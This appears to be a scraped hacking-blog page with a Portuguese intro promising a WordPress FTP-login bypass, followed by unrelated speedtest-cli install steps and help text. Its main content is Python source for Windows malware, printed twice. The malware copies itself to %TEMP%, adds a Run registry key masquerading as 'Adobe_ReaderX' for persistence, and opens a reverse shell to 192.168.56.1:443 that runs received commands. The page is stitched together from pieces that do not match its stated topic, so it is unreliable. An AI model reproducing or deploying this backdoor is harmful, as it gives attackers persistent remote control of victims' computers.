Hello Hackers.
Whats Up ?
Hoje Irei Ensinar a Vocês Como Contornar Quando o Ftp Login Esta Ativo No Wordpress.
Até a Próxima.
NeoInvasorBCA
~# Security Of Information
pip install speedtest-cli
oreasy_install speedtest-cli
pip install git+https://github.com/sivel/speedtest-cli.git
orgit clone https://github.com/sivel/speedtest-cli.git
python speedtest-cli/setup.py install
wget -O speedtest-cli https://raw.githubusercontent.co
m/sivel/speedtest-cli/master/speedtest_cli.py
chmod +x speedtest-cli
orcurl -Lo speedtest-cli https://raw.githubuser
content.com/sivel/speedtest-cli/master/speedtest_cli.py
chmod +x speedtest-cli
$ speedtest-cli -h
usage: speedtest-cli [-h] [--bytes] [--share] [--simple] [--list]
[--server SERVER] [--mini MINI] [--source SOURCE]
[--timeout TIMEOUT] [--version]
Command line interface for testing internet bandwidth using speedtest.net.
--------------------------------------------------------------------------
https://github.com/sivel/speedtest-cli
optional arguments:
-h, --help show this help message and exit
--bytes Display values in bytes instead of bits. Does not affect
the image generated by --share
--share Generate and provide a URL to the speedtest.net share
results image
--simple Suppress verbose output, only show basic information
--list Display a list of speedtest.net servers sorted by
distance
--server SERVER Specify a server ID to test against
--mini MINI URL of the Speedtest Mini server
--source SOURCE Source IP address to bind to
--timeout TIMEOUT HTTP timeout in seconds. Default 10
--version Show the version number and exit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| import sys, base64, os, socket, subprocess from _winreg import * def autorun(tempdir, fileName, run): # Copy executable to %TEMP%: os.system( 'copy %s %s' % (fileName, tempdir)) # Queries Windows registry for key values # Appends autorun key to runkey array key = OpenKey(HKEY_LOCAL_MACHINE, run) runkey = [] try : i = 0 while True : subkey = EnumValue(key, i) runkey.append(subkey[ 0 ]) i + = 1 except WindowsError: pass # Set autorun key: if 'Adobe ReaderX' not in runkey: try : key = OpenKey(HKEY_LOCAL_MACHINE, run, 0 ,KEY_ALL_ACCESS) SetValueEx(key , 'Adobe_ReaderX' , 0 ,REG_SZ,r "%TEMP%\mw.exe" ) key.Close() except WindowsError: pass |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| def shell(): #Base64 encoded reverse shell s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(( '192.168.56.1' , int ( 443 ))) s.send( '[*] Connection Established!' ) while 1 : data = s.recv( 1024 ) if data = = "quit" : break proc = subprocess.Popen(data, shell = True , stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() encoded = base64.b64encode(stdout_value) s.send(encoded) #s.send(stdout_value) s.close() def main(): tempdir = '%TEMP%' fileName = sys.argv[ 0 ] run = "Software\Microsoft\Windows\CurrentVersion\Run" autorun(tempdir, fileName, run) shell() if __name__ = = "__main__" : main() |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| import sys, base64, os, socket, subprocess from _winreg import * def autorun(tempdir, fileName, run): # Copy executable to %TEMP%: os.system( 'copy %s %s' % (fileName, tempdir)) # Queries Windows registry for the autorun key value # Stores the key values in runkey array key = OpenKey(HKEY_LOCAL_MACHINE, run) runkey = [] try : i = 0 while True : subkey = EnumValue(key, i) runkey.append(subkey[ 0 ]) i + = 1 except WindowsError: pass # If the autorun key "Adobe ReaderX" isn't set this will set the key: if 'Adobe ReaderX' not in runkey: try : key = OpenKey(HKEY_LOCAL_MACHINE, run, 0 ,KEY_ALL_ACCESS) SetValueEx(key , 'Adobe_ReaderX' , 0 ,REG_SZ,r "%TEMP%\mw.exe" ) key.Close() except WindowsError: pass def shell(): #Base64 encoded reverse shell s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(( '192.168.56.1' , int ( 443 ))) s.send( '[*] Connection Established!' ) while 1 : data = s.recv( 1024 ) if data = = "quit" : break proc = subprocess.Popen(data, shell = True , stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() encoded = base64.b64encode(stdout_value) s.send(encoded) #s.send(stdout_value) s.close() def main(): tempdir = '%TEMP%' fileName = sys.argv[ 0 ] run = "Software\Microsoft\Windows\CurrentVersion\Run" autorun(tempdir, fileName, run) shell() if __name__ = = "__main__" : main() |